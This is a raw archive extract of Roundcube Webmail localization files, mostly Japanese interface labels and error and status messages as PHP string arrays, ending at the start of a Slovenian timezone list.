$labels['defaultcharset'] = '初期設定の文字セット';
$labels['htmlmessage'] = 'HTMLメッセージ';
$labels['messagepart'] = 'パート';
$labels['digitalsig'] = 'デジタル署名';
$labels['dateformat'] = '日付の書式';
$labels['timeformat'] = '時刻の書式';
$labels['prettydate'] = '短い日付で表示';
$labels['setdefault'] = '初期値を設定';
$labels['autodetect'] = '自動識別';
$labels['language'] = '言語';
$labels['timezone'] = 'タイムゾーン';
$labels['pagesize'] = '1ページの表示件数';
$labels['signature'] = '署名';
$labels['dstactive'] = 'サマータイムを適用';
$labels['showinextwin'] = '新しいウィンドウでメッセージを表示';
$labels['composeextwin'] = '新しいウィンドウでメッセージを作成';
$labels['htmleditor'] = '作成時にHTMLメッセージを使用';
$labels['htmlonreply'] = '返信時にHTMLメッセージを使用';
$labels['htmlonreplyandforward'] = '転送またはHTMLメッセージへの返信';
$labels['htmlsignature'] = 'HTMLの署名';
$labels['showemail'] = '電子メールアドレスを表示名と共に表示';
$labels['previewpane'] = 'プレビュー枠の表示';
$labels['skin'] = 'インターフェイスのスキン';
$labels['logoutclear'] = 'ログアウト時にごみ箱の内容を消去';
$labels['logoutcompact'] = 'ログアウト時にフォルダーを整理';
$labels['uisettings'] = 'ユーザーインターフェイス';
$labels['serversettings'] = 'サーバーの設定';
$labels['mailboxview'] = '受信箱';
$labels['mdnrequests'] = '開封確認の要求の処理';
$labels['askuser'] = '開封確認の送信を確認';
$labels['autosend'] = '開封確認を送信';
$labels['autosendknown'] = '送信者が連絡先に登録されているなら開封確認を送信、そうでなければ確認';
$labels['autosendknownignore'] = '送信者が連絡先に登録されているなら開封確認を送信、そうでなければ無視';
$labels['autosendtrusted'] = '受信確認を信頼する送信者に送信、そうでなければ確認';
$labels['autosendtrustedignore'] = '受信確認を信頼する送信者に送信、そうでなければ無視';
$labels['ignorerequest'] = '要求を無視';
$labels['readwhendeleted'] = '削除したメッセージを既読に設定';
$labels['flagfordeletion'] = '削除する代わりに削除済みフラグを設定';
$labels['skipdeleted'] = '削除済みのメッセージを表示しない';
$labels['deletealways'] = 'ごみ箱への移動できなかったメッセージは削除';
$labels['deletejunk'] = '迷惑メールのメッセージを直接削除';
$labels['showremoteimages'] = '外部のインライン画像を表示';
$labels['allowremoteresources'] = 'リモートのリソース(画像、スタイル)を許可';
$labels['fromknownsenders'] = '送信者が知人の場合';
$labels['fromtrustedsenders'] = '信頼した送信者から';
$labels['frommycontacts'] = '連絡先のアドレスから';
$labels['always'] = '常時';
$labels['alwaysbutplain'] = 'テキスト形式で返信するときを除いて常時';
$labels['showinlineimages'] = 'メッセージに添付された画像を下に表示';
$labels['autosavedraft'] = '自動的に下書きを保存';
$labels['everynminutes'] = '$n分毎';
$labels['refreshinterval'] = '再表示 (新しいメッセージの確認等)';
$labels['never'] = 'しない';
$labels['immediately'] = '即時';
$labels['messagesdisplaying'] = 'メッセージの表示';
$labels['messagescomposition'] = 'メッセージの作成';
$labels['mimeparamfolding'] = '添付ファイルの名前';
$labels['2231folding'] = 'RFC 2231に完全準拠(Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231(MS Outlook)';
$labels['2047folding'] = 'RFC 2047に完全準拠(その他)';
$labels['force7bit'] = '8ビット文字列にMIMEエンコードを使用';
$labels['savelocalstorage'] = "ブラウザのローカルストレージに(一時的に)保存";
$labels['advancedoptions'] = '高度な設定';
$labels['toggleadvancedoptions'] = '詳細なオプションの表示を切り替え';
$labels['focusonnewmessage'] = '新しいメッセージが届いたらブラウザーをアクティブ';
$labels['checkallfolders'] = 'すべてのフォルダーで新着メールを表示';
$labels['displaynext'] = '削除・移動した後で次の項目を表示';
$labels['defaultfont'] = 'HTMLメッセージの初期フォント';
$labels['mainoptions'] = '基本的な設定';
$labels['browseroptions'] = 'ブラウザーのオプション';
$labels['section'] = '設定項目';
$labels['maintenance'] = '保守';
$labels['newmessage'] = '新しいメッセージ';
$labels['signatureoptions'] = '署名の設定';
$labels['whenreplying'] = '返信時の本文';
$labels['replyempty'] = '元のメッセージを引用しない';
$labels['replytopposting'] = '元のメッセージを引用した前に本文を作成';
$labels['replytoppostingnoindent'] = '(字下げなしで)元のメッセージを引用した前に本文を作成';
$labels['replybottomposting'] = '元のメッセージを引用した後に本文を作成';
$labels['replyremovesignature'] = '返信時に元の署名をメッセージから削除';
$labels['autoaddsignature'] = '自動的に署名を付加';
$labels['newmessageonly'] = '新しいメッセージだけ';
$labels['replyandforwardonly'] = '返信と転送だけ';
$labels['insertsignature'] = '署名を挿入';
$labels['sigbelow'] = '引用したメッセージの後に署名を置く';
$labels['sigseparator'] = '強制的に署名に標準の分離記号を使用';
$labels['automarkread'] = 'メッセージを既読に設定';
$labels['afternseconds'] = '$n秒後';
$labels['reqmdn'] = '常に開封確認通知を要求';
$labels['reqdsn'] = '常に配送状態通知を要求';
$labels['replysamefolder'] = '返信したメッセージを元のメールと同じフォルダに保存';
$labels['defaultabook'] = '初期状態で使用するアドレス帳';
$labels['autocompletesingle'] = '自動補完で代替のメールアドレスを飛ばして進める';
$labels['listnamedisplay'] = '連絡先の一覧表示';
$labels['contactformmode'] = '次の連絡先から:';
$labels['privatemode'] = '私用(自宅)';
$labels['businessmode'] = '業務(仕事)';
$labels['collectedaddresses'] = '収集したアドレス';
$labels['collectedrecipients'] = '収集した宛先';
$labels['collectedrecipientsopt'] = '送信する電子メールの宛先の保存先';
$labels['collectedsendersopt'] = '信頼する送信者の保存先';
$labels['trustedsenders'] = '信頼する送信者';
$labels['spellcheckbeforesend'] = 'メッセージを送信する前にスペルチェック';
$labels['spellcheckoptions'] = 'スペルチェックのオプション';
$labels['spellcheckignoresyms'] = '記号を含む単語を無視';
$labels['spellcheckignorenums'] = '数字を含む単語を無視';
$labels['spellcheckignorecaps'] = 'すべて大文字の単語を無視';
$labels['addtodict'] = '辞書に追加';
$labels['mailtoprotohandler'] = 'mailto: のリンクを扱うプロトコル処理の登録';
$labels['standardwindows'] = 'ポップアップを通常のウィンドウとして処理';
$labels['forwardmode'] = 'メッセージの転送形式';
$labels['inline'] = 'インライン';
$labels['asattachment'] = '添付ファイル';
$labels['replyallmode'] = '「全員に返信」ボタンの既定の動作';
$labels['replyalldefault'] = '全員に返信';
$labels['replyalllist'] = 'メーリングリスト(とわかれば)だけに返信';
$labels['allmessages'] = 'すべてのメッセージ';
$labels['olderxdays'] = '$x日より前';
$labels['folder'] = 'フォルダー';
$labels['folders'] = 'フォルダー';
$labels['foldername'] = 'フォルダー名';
$labels['subscribed'] = '購読済み';
$labels['messagecount'] = 'メッセージ';
$labels['create'] = '作成';
$labels['createfolder'] = '新しいフォルダーを作成';
$labels['managefolders'] = 'フォルダーを管理';
$labels['specialfolders'] = '特殊なフォルダー';
$labels['properties'] = '属性';
$labels['folderproperties'] = 'フォルダーの属性';
$labels['parentfolder'] = '親のフォルダー';
$labels['location'] = '場所';
$labels['info'] = '情報';
$labels['getfoldersize'] = 'クリックしてフォルダーの大きさを取得';
$labels['changesubscription'] = 'クリックして購読状態を変更';
$labels['foldertype'] = 'フォルダーの種類';
$labels['personalfolder'] = '個人フォルダー';
$labels['otherfolder'] = '他のユーザーのフォルダー';
$labels['sharedfolder'] = '公開フォルダー';
$labels['findfolders'] = 'フォルダーを探す';
$labels['findcontacts'] = '連絡先を探す';
$labels['findmail'] = 'メールメッセージを探す';
$labels['namespace.personal'] = '個人';
$labels['namespace.other'] = '他のユーザー';
$labels['namespace.shared'] = '共有した';
$labels['dualuselabel'] = 'これだけ含められる';
$labels['dualusemail'] = 'メッセージ';
$labels['dualusefolder'] = 'フォルダー';
$labels['generate'] = '生成';
$labels['encryptioncreatekey'] = '新しい鍵ペアを作成';
$labels['openmailvelopesettings'] = 'Mailvelopeの設定を表示';
$labels['encryptionprivkeysinmailvelope'] = 'Mailvelopeのキーリングに$nr個の一致する秘密鍵:';
$labels['encryptionnoprivkeysinmailvelope'] = 'この送信者の識別情報へのPGP秘密鍵がMailvelope拡張にまだありません。メッセージの暗号化を有効にするためにPGP秘密鍵を作成しますか?';
$labels['encryption'] = '暗号化';
$labels['mailvelopeoptions'] = 'Mailvelopeのオプション';
$labels['mailvelopemainkeyring'] = 'Mailvelopeをメインのキーリングに使用';
$labels['mailvelopenotfound'] = 'ブラウザーでMailvelope拡張が無効またはインストールされていません。';
$labels['sortby'] = '並べ替え';
$labels['sortasc'] = '昇順で並べ替え';
$labels['sortdesc'] = '降順で並べ替え';
$labels['undo'] = '取り消し';
$labels['installedplugins'] = 'インストールしているプラグイン';
$labels['plugin'] = 'プラグイン';
$labels['version'] = 'バージョン';
$labels['source'] = 'ソース';
$labels['destination'] = '宛先';
$labels['license'] = 'ライセンス';
$labels['support'] = 'サポートを依頼';
$labels['savedsearches'] = '検索を保存';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'バイト';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = '英語';
$labels['westerneuropean'] = '西ヨーロッパ言語';
$labels['easterneuropean'] = '東ヨーロッパ言語';
$labels['southeasterneuropean'] = '南東ヨーロッパ言語';
$labels['baltic'] = 'バルト諸語';
$labels['cyrillic'] = 'キリル文字';
$labels['arabic'] = 'アラビア語';
$labels['greek'] = 'ギリシャ語';
$labels['hebrew'] = 'ヘブライ語';
$labels['turkish'] = 'トルコ語';
$labels['nordic'] = '北欧言語';
$labels['thai'] = 'タイ語';
$labels['celtic'] = 'ケルト語';
$labels['vietnamese'] = 'ベトナム語';
$labels['japanese'] = '日本語';
$labels['korean'] = '韓国語';
$labels['chinese'] = '中国語';
$labels['arialabeltopnav'] = 'ウィンドウ制御';
$labels['arialabeltasknav'] = 'アプリケーションのタスク';
$labels['arialabeltoolbar'] = 'アプリケーションのツールバー';
$labels['arialabellistnav'] = 'ナビゲーションを一覧';
$labels['arialabelactivetask'] = '活動中のタスク';
$labels['arialabelmessagessearchfilter'] = '電子メールの一覧のフィルター';
$labels['arialabelmailsearchform'] = '電子メールの検索欄';
$labels['arialabelcontactsearchform'] = '連絡先の検索欄';
$labels['arialabelmailquicksearchbox'] = '電子メールの検索を入力';
$labels['arialabelquicksearchbox'] = '検索を入力';
$labels['arialabelfoldersearchfilter'] = 'フォルダーの一覧のフィルター';
$labels['arialabelfoldersearchform'] = 'フォルダーの検索欄';
$labels['arialabelfolderlist'] = '電子メールのフォルダーの選択';
$labels['arialabelmessagelist'] = '電子メールのメッセージの一覧';
$labels['arialabelmailpreviewframe'] = 'メッセージのプレビュー';
$labels['arialabelmailboxmenu'] = 'フォルダーの操作メニュー';
$labels['arialabellistselectmenu'] = '一覧の選択メニュー';
$labels['arialabelthreadselectmenu'] = 'スレッドの一覧メニュー';
$labels['arialabelmessagelistoptions'] = 'メッセージの一覧の表示と並べ替えのオプション';
$labels['arialabelmailimportdialog'] = 'メッセージを取り込むダイアログ';
$labels['arialabelmessagenav'] = 'メッセージのナビゲーション';
$labels['arialabelmessagebody'] = 'メッセージの本文';
$labels['arialabelmessageactions'] = 'メッセージの操作';
$labels['arialabelcontactquicksearch'] = '連絡先の検索欄';
$labels['arialabelcontactsearchbox'] = '連絡先を入力';
$labels['arialabelmessageheaders'] = 'メッセージのヘッダー';
$labels['arialabelforwardingoptions'] = '転送のオプション';
$labels['arialabelreplyalloptions'] = '全員に返信のオプション';
$labels['arialabelmoremessageactions'] = 'さらにメッセージを操作';
$labels['arialabelmorecontactactions'] = 'さらに連絡先を操作';
$labels['arialabelmarkmessagesas'] = '選択したメッセージに次のマーク...';
$labels['arialabelcomposeoptions'] = '作成のオプション';
$labels['arialabelresponsesmenu'] = '回答テンプレートメニュー';
$labels['arialabelattachmentuploadform'] = '添付ファイルのアップロードフォーム';
$labels['arialabelattachmentmenu'] = '添付ファイルのオプション';
$labels['arialabelmailtomenu'] = '電子メールアドレスのオプション';
$labels['arialabelattachmentpreview'] = '添付ファイルのプレビュー';
$labels['ariasummarycomposecontacts'] = '宛先として選択する連絡先とグループの一覧';
$labels['arialabelcontactexportoptions'] = '連絡先のエクスポートのオプション';
$labels['arialabelabookgroupoptions'] = 'アドレス帳・グループのオプション';
$labels['arialabelpreferencesform'] = '設定のフォーム';
$labels['arialabelidentityeditfrom'] = '識別情報のフォーム';
$labels['arialabelresponseeditfrom'] = '回答のフォーム';
$labels['arialabelsearchterms'] = '検索語';
$labels['arialabeldropactionmenu'] = 'ドラッグ・アンド・ドロップの動作メニュー';
$labels['arialabelheadersmenu'] = '宛先(ヘッダー)を追加するメニュー';
$labels['arialabelimagetools'] = '画像ツール';
$labels['helplistnavigation'] = 'キーボードのナビゲーションの一覧';
$labels['helplistkeyboardnavigation'] = "上矢印・下矢印: 選択する行を移動します。
スペース: 現在の行を選択します。
シフトキーを押しながら上矢印・下矢印: 上・下の行を選択に追加します。
コントロールきーを押しながらスペース: 現在の行を選択に追加または削除します。";
$labels['helplistkeyboardnavmessages'] = "右矢印・左矢印: メッセージのスレッドを展開・折り畳みします。(スレッドモードだけ)
改行: 現在・選択しているメッセージを開きます。
削除: 選択しているメッセージをゴミ箱に移動します。";
$labels['helplistkeyboardnavcontacts'] = "改行: 現在・選択中の連絡先を開きます。";
PK
h�\�����S�S'program/localization/ja_JP/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'エラーが発生しました!';
$messages['loginfailed']  = 'ログインできませんでした。';
$messages['cookiesdisabled'] = 'ブラウザーがCookieを受け付けません。';
$messages['sessionerror'] = 'セッションが正しくないか期限が切れています。';
$messages['cookiesmismatch'] = 'クッキーの不一致を検出しました。ブラウザーのクッキを消去してください。';
$messages['storageerror'] = 'IMAP サーバーへの接続に失敗しました。';
$messages['servererror'] = 'サーバーでエラーです!';
$messages['servererrormsg'] = 'サーバーエラー: $msg';
$messages['accountlocked'] = 'ログインを失敗し過ぎです、後で再び試してください。';
$messages['connerror'] = '接続エラー(サーバーに到達できません)!';
$messages['dberror'] = 'データベースのエラーです!';
$messages['dbconnerror'] = 'データベースに接続できません!';
$messages['windowopenerror'] = 'ポップアップウィンドウがブロックされました!';
$messages['requesttimedout'] = 'リクエストのタイムアウト';
$messages['errorreadonly'] = '操作を実行できませんでした。フォルダーは読み込み専用です。';
$messages['errornoperm'] = '操作を実行できませんでした。権限がありません。';
$messages['erroroverquota'] = '操作を実行できませんでした。空きディスク容量がありません。';
$messages['erroroverquotadelete'] = '空きディスク容量がありません。メッセージを削除するには SHIFT+DEL を使用してください。';
$messages['invalidrequest'] = '不正なリクエストです!  データは保存していません。';
$messages['invalidhost'] = '正しくないサーバー名です。';
$messages['nomessagesfound'] = 'このフォルダーにはメッセージはありません。';
$messages['loggedout'] = 'セッションを正しく終了しました。さようなら!';
$messages['mailboxempty'] = 'メールボックスは空です。';
$messages['nomessages'] = 'メッセージなし';
$messages['refreshing'] = '再表示中...';
$messages['loading'] = '読み込み中...';
$messages['uploading'] = 'ファイルをアップロード中...';
$messages['attaching'] = 'ファイルを添付...';
$messages['uploadingmany'] = 'ファイルをアップロード中...';
$messages['loadingdata'] = 'データを読み込み中...';
$messages['checkingmail'] = '新しいメッセージを確認中...';
$messages['sendingmessage'] = 'メッセージを送信中...';
$messages['messagesent'] = 'メッセージを送信しました。';
$messages['savingmessage'] = 'メッセージを保存中...';
$messages['messagesaved'] = 'メッセージを下書きに保存しました。';
$messages['successfullysaved'] = '保存しました。';
$messages['savingresponse'] = '回答の文章を保存中...';
$messages['deleteresponseconfirm'] = 'この回答の文章を本当に削除しますか?';
$messages['nocontactselected'] = 'まだ連絡先を選択していません。';
$messages['addedsuccessfully'] = '連絡先をアドレス帳に追加しました。';
$messages['contactexists'] = '同じ電子メールアドレスの連絡先が既に存在します。';
$messages['contactnameexists'] = '同じ名前の連絡先が既に存在します。';
$messages['blockedimages'] = 'あなたのプライバシーを守るため、このメッセージに含まれる外部画像を遮断しました。';
$messages['blockedresources'] = 'あなたのプライバシーを守るためリモートのリソースを遮断しました。';
$messages['suspiciousemail'] = 'このメッセージは詐欺等と思われる不審なメールアドレスを含んでいます。';
$messages['bccemail'] = '転送されたメッセージは機密の宛先(Bcc)を含んでいます。';
$messages['bouncehint'] = 'メッセージを無修整で送信します、すなわち元の本文、ヘッダー、宛先を使用します。';
$messages['encryptedmessage'] = 'このメッセージは暗号化されていて表示できません、ごめんなさい!';
$messages['externalmessagedecryption'] = 'このメッセージは暗号化されていて、ブラウザーの拡張で復号できるでしょう。';
$messages['nopubkeyfor'] = '$email への有効な公開鍵がありません。';
$messages['nopubkeyforsender'] = 'あなたの送信者としての有効な公開鍵がありません。メッセージを宛て先だけが復号できるように暗号化しますか?';
$messages['encryptnoattachments'] = '既にアップロードした添付ファイルは暗号化できません。暗号化のエディター内で再度追加してください。';
$messages['searchpubkeyservers'] = '欠けている鍵を公開なキーサーバーで検索しますか?';
$messages['encryptpubkeysfound'] = '以下のキーサーバーが見つかりました:';
$messages['keyservererror'] = 'キーサーバーからキーを取得できませんでした。';
$messages['keyimportsuccess'] = '公開鍵: $keyをキーリングにインポートしました。';
$messages['nocontactsfound'] = '連絡先がありません。';
$messages['contactnotfound'] = '連絡先が見つかりません。';
$messages['contactsearchonly'] = '選択したアドレス帳の連絡先を見るには検索欄を使用しなければなりません。';
$messages['sendingfailed'] = 'メッセージを送信できませんでした。';
$messages['senttooquickly'] = 'このメッセージを送信するまで、$sec秒お待ちください。';
$messages['errorsavingsent'] = '送信したメッセージの保存中にエラーが発生しました。';
$messages['errorsaving'] = '保存中にエラーが発生しました。';
$messages['errormoving'] = 'メッセージを移動できません。';
$messages['errorcopying'] = 'メッセージをコピーできません。';
$messages['errordeleting'] = 'メッセージを削除できません。';
$messages['errormarking'] = 'メッセージにマークを設定できません。';
$messages['alerttitle'] = '注意';
$messages['confirmationtitle'] = '本当に...';
$messages['deletecontactconfirm']  = '選択した連絡先を本当に削除しますか?';
$messages['deletegroupconfirm']  = 'このグループを本当に削除しますか?';
$messages['deletemessagesconfirm'] = '選択したメールを本当に削除しますか?';
$messages['deletefolderconfirm']  = 'このフォルダーを本当に削除しますか?';
$messages['movefolderconfirm']  = 'このフォルダーを本当に移動しますか?';
$messages['purgefolderconfirm']  = 'このフォルダーのすべてのメールを本当に削除しますか?';
$messages['contactdeleting'] = '連絡先を削除中...';
$messages['groupdeleting'] = 'グループを削除中...';
$messages['folderdeleting'] = 'フォルダーを削除中...';
$messages['foldermoving'] = 'フォルダーを移動中...';
$messages['foldersubscribing'] = 'フォルダーを購読中...';
$messages['folderunsubscribing'] = 'フォルダーの購読を解除中...';
$messages['formincomplete'] = 'フォームに未記入の項目があります。';
$messages['noemailwarning'] = '正しい電子メールアドレスを入力してください。';
$messages['nonamewarning']  = '名前を入力してください。';
$messages['nopagesizewarning'] = 'ページのサイズを入力してください。';
$messages['nosenderwarning'] = '送信者の電子メールアドレスを入力してください。';
$messages['recipientsadded'] = '宛先を追加しました。';
$messages['norecipientwarning'] = '少なくとも1つ宛先を入力してください。';
$messages['disclosedrecipwarning'] = 'すべての宛て先は互いに他のメールアドレスを見ることになります。これを防いで、それぞれのプライバシーを守るにはBcc欄を使用します。';
$messages['disclosedreciptitle'] = '宛て先が多すぎます。';
$messages['nosubjectwarning']  = '件名(Subject)の欄が空です。今、入力しますか?';
$messages['nosubjecttitle']  = '件名なし';
$messages['nobodywarning'] = '本文の無いメッセージを送信しますか?';
$messages['notsentwarning'] = 'まだメッセージを送信していなくて、保存していない変更もあります。変更した内容を破棄しますか?';
$messages['restoresavedcomposedata'] = '以前に作成して未送信のメッセージがあります。\n\n件名: $subject\n保存日: $date\n\nこのメッセージを回復しますか?';
$messages['nosearchname'] = '連絡先の名前か電子メールアドレスを入力してください。';
$messages['notuploadedwarning'] = 'すべての添付ファイルのアップロードを完了していません。今しばらく待つか、取り消ししてください。';
$messages['searchsuccessful'] = '$nr通のメッセージが見つかりました。';
$messages['contactsearchsuccessful'] = '$nr件の連絡先が見つかりました。';
$messages['searchnomatch'] = '一致するものが見つかりませんでした。';
$messages['searching'] = '検索中...';
$messages['checking'] = '確認中...';
$messages['stillsearching'] = 'さらに検索中...';
$messages['nospellerrors'] = 'スペルミスは見つかりませんでした。';
$messages['folderdeleted'] = 'フォルダーを削除しました。';
$messages['foldersubscribed'] = 'フォルダーを購読しました。';
$messages['folderunsubscribed'] = 'フォルダーの購読を解除しました。';
$messages['folderpurged'] = 'フォルダーを空にしました。';
$messages['folderexpunged'] = 'フォルダーの整理を完了しました。';
$messages['deletedsuccessfully'] = '削除しました。';
$messages['converting'] = 'メールから書式を削除中...';
$messages['messageopenerror'] = 'サーバーからメールを読み込めません。';
$messages['filelinkerror'] = 'ファイルを添付できませんでした。';
$messages['fileuploaderror'] = 'ファイルをアップロードできませんでした。';
$messages['csvfilemismatch'] = '列の異なる複数のCSVファイルのアップロードはサポートしていません。';
$messages['filesizeerror'] = 'アップロードするファイルのサイズが上限($size)を超えました。';
$messages['filecounterror'] = '一度に最大で$count個のファイルをアップロードできます。';
$messages['msgsizeerror'] = 'ファイルを添付できませんでした。メッセージの最大サイズ($size)を超えています。';
$messages['msgsizeerrorfwd'] = 'メッセージの最大サイズ($size)を超過しました。$num個のメッセージを添付していません。';
$messages['copysuccess'] = '$nr個の連絡先をコピーしました。';
$messages['movesuccess'] = '$nr個の連絡先を移動しました。';
$messages['copyerror'] = 'どの連絡先もコピーできませんでした。';
$messages['moveerror'] = 'どの連絡先も移動できませんでした。';
$messages['sourceisreadonly'] = 'このアドレスソースは読み込み専用です。';
$messages['errorsavingcontact'] = '連絡先のアドレスを保存できません。';
$messages['movingmessage'] = 'メッセージを移動中...';
$messages['copyingmessage'] = 'メッセージをコピー中...';
$messages['copyingcontact'] = '連絡先をコピー中...';
$messages['movingcontact'] = 'Moving contact(s)...';
$messages['deletingmessage'] = 'メッセージを削除中...';
$messages['markingmessage'] = 'メッセージにマークを設定中...';
$messages['addingmember'] = 'グループに連絡先をコピー中...';
$messages['removingmember'] = 'グループから連絡先を削除中...';
$messages['receiptsent'] = '開封通知を送信しました。';
$messages['errorsendingreceipt'] = '開封通知を送信ができませんでした。';
$messages['deleteidentityconfirm'] = 'この識別情報を本当に削除しますか?';
$messages['nodeletelastidentity'] = 'この識別情報は最後の1つなので削除できません。';
$messages['forbiddencharacter'] = 'フォルダー名に使用できない文字が含まれています。';
$messages['selectimportfile'] = 'アップロードするファイルを選択してください。';
$messages['addresswriterror'] = '選択したアドレス帳は書き込みできないアドレス帳です。';
$messages['contactaddedtogroup'] = 'このグループに連絡先を追加しました。';
$messages['contactremovedfromgroup'] = 'このグループから連絡先を削除しました。';
$messages['nogroupassignmentschanged'] = 'グループの割り当てを変更しませんでした。';
$messages['importwait'] = 'インポート中です。しばらくお待ちください...';
$messages['importformaterror'] = 'インポートできませんでした!  アップロードしたファイルは正しいデータをインポートするファイルではありません。';
$messages['importconfirm'] = '<b>$inserted件の連絡先をインポートしました。</b>';
$messages['importconfirmskipped'] = '<b>$skipped件の既存する項目を飛ばした。</b>';
$messages['importmessagesuccess'] = '$nr件のメッセージをインポートしました。';
$messages['importmessageerror'] = 'インポートできませんでした!  アップロードしたファイルは有効なメッセージやメールボックスのファイルではありません。';
$messages['opnotpermitted'] = '許可されていない操作です。';
$messages['nofromaddress'] = '選択した識別情報には電子メールアドレスがありません。';
$messages['editorwarning'] = 'エディターの種類を切り替えるとテキストの書式を失うかもしれません。本当に続けますか?';
$messages['httpreceivedencrypterror'] = '致命的な設定エラーが発生しました。システム管理者に至急連絡してください。<b>メッセージを送信できません。</b>';
$messages['smtpconnerror'] = 'SMTPエラー ($code): サーバーへの接続に失敗しました。';
$messages['smtpautherror'] = 'SMTPエラー ($code): 認証に失敗しました。';
$messages['smtpfromerror'] = 'SMTPエラー ($code): 差出人 "$from" を設定できません ($msg)';
$messages['smtptoerror'] = 'SMTPエラー ($code): 宛先 "$to" を追加できません ($msg)';
$messages['smtprecipientserror'] = 'SMTPエラー: 宛先の一覧を解析できません。';
$messages['smtputf8error'] = 'SMTPエラー: サーバーは電子メールアドレスにUnicodeをサポートしていません。';
$messages['smtpsizeerror'] = 'SMTPエラー: メッセージの大きさがサーバーの制限($limit)を超過';
$messages['smtperror'] = 'SMTP エラー: $msg';
$messages['emailformaterror'] = '誤った電子メールアドレス: $email';
$messages['toomanyrecipients'] = '宛先が多すぎます。$max件以内にしてください。';
$messages['maxgroupmembersreached'] = 'グループのメンバーが多すぎます。$max 件以内にしてください。';
$messages['internalerror'] = '内部エラーが発生しました。もう一度試してください。';
$messages['contactdelerror'] = '連絡先を削除できませんでした。';
$messages['contactdeleted'] = '連絡先を削除しました。';
$messages['contactrestoreerror'] = '削除した連絡先を復元できませんでした。';
$messages['contactrestored'] = '連絡先を復元しました。';
$messages['groupdeleted'] = 'グループを削除しました。';
$messages['grouprenamed'] = 'グループ名を変更しました.';
$messages['groupcreated'] = 'グループを作成しました。';
$messages['savedsearchdeleted'] = '保存した検索情報を削除しました。';
$messages['savedsearchdeleteerror'] = '保存した検索情報を削除できません。';
$messages['savedsearchcreated'] = '検索情報を作成しました。';
$messages['savedsearchcreateerror'] = '検索情報を削除できませんでした。';
$messages['messagedeleted'] = 'メッセージを削除しました。';
$messages['messagemoved'] = 'メッセージを移動しました。';
$messages['messagemovedtotrash'] = 'メッセージをゴミ箱に移動しました。';
$messages['messagecopied'] = 'メッセージをコピーしました。';
$messages['messagemarked'] = 'メッセージにマークを設定しました。';
$messages['autocompletechars'] = '自動補完には少なくとも$min文字入力してください。';
$messages['autocompletemore'] = '多くのエントリーが見つかりました。もっと入力してください。';
$messages['namecannotbeempty'] = '名前は空にできません。';
$messages['nametoolong'] = '名前が長すぎます。';
$messages['namedotforbidden'] = 'フォルダー名はドットで始められません。';
$messages['folderupdated'] = 'フォルダーを更新しました。';
$messages['foldercreated'] = 'フォルダーを作成しました。';
$messages['invalidimageformat'] = '画像の形式が正しくありません。';
$messages['mispellingsfound'] = 'メッセージにスペルミスを見つけました。';
$messages['parentnotwritable'] = '選択した親フォルダーに作成または移動をできませんでした。アクセス権限がありません。';
$messages['messagetoobig'] = 'その処理をするにはメッセージ部分が大きすぎます。';
$messages['attachmentvalidationerror'] = 'ファイルの型とメッセージ中で宣言した型が一致していない、不審な添付ファイルです。送信者を信頼できない場合は、悪意のある内容を含んでいるかもしれないのでブラウザーで開くべきではありません。<br/><br/><em>Expected: $expected; found: $detected</em>';
$messages['noscriptwarning'] = '警告: このウェブメールサービスにはJavascriptが必要です!  使用するにはJavascriptをブラウザーの設定で有効にしてください。';
$messages['messageissent'] = '既にメッセージを送信しましたが、まだ保存していません。今すぐ保存しますか?';
$messages['errnotfound'] = 'ファイルが見つかりません';
$messages['errnotfoundexplain'] = '要求したリソースはみつかりませんでした!';
$messages['errfailedrequest'] = 'リクエストに失敗';
$messages['errauthorizationfailed'] = '認証に失敗';
$messages['errunauthorizedexplain'] = 'このサーバーへのアクセスを認可されていることを検証できませんでした!';
$messages['errrequestcheckfailed'] = 'リクエストの検査に失敗';
$messages['errcsrfprotectionexplain'] = "安全確保のため、このリソースへのアクセスはCSRFに対して保護しています。\nこのメッセージを見た場合は、おそらくウェブ・アプリケーションを終える前にログアウトしていなかったのでしょう。\n続けるには人的な対処が必要です。";
$messages['errcontactserveradmin'] = 'システム管理者に連絡してください。';
$messages['clicktoresumesession'] = 'ここをクリックすると以前のセッションを回復します。';
$messages['errcomposesession'] = 'メッセージを作成するセッションのエラー';
$messages['errcomposesessionexplain'] = 'メッセージを作成するセッションが見つかりません。';
$messages['clicktocompose'] = 'クリックして新しいメッセージを作成';
$messages['nosupporterror'] = 'この機能を使用しているブラウザーはサポートしていません。';
$messages['siginserted'] = '署名を挿入しました。';
$messages['responseinserted'] = '応答を挿入しました。';
$messages['noresponsesavailable'] = '応答なし';
$messages['listempty'] = 'このリストは空です。';
$messages['listusebutton'] = '新しいレコードを追加するには作成のボタンを使用してください。';
$messages['keypaircreatesuccess'] = '$identity用の新しい鍵ペアを作成しました。';
$messages['emptyattachment'] = 'この添付ファイルは空の様です。<br>送信した方に確認をお願いします。';
$messages['oauthloginfailed'] = 'OAuthでログインできませんでした。もう一度試してください。';
PK
h�\-��PP(program/localization/sl_SI/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Ababa';
$labels['tz:africa:algiers'] = 'Algiers';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
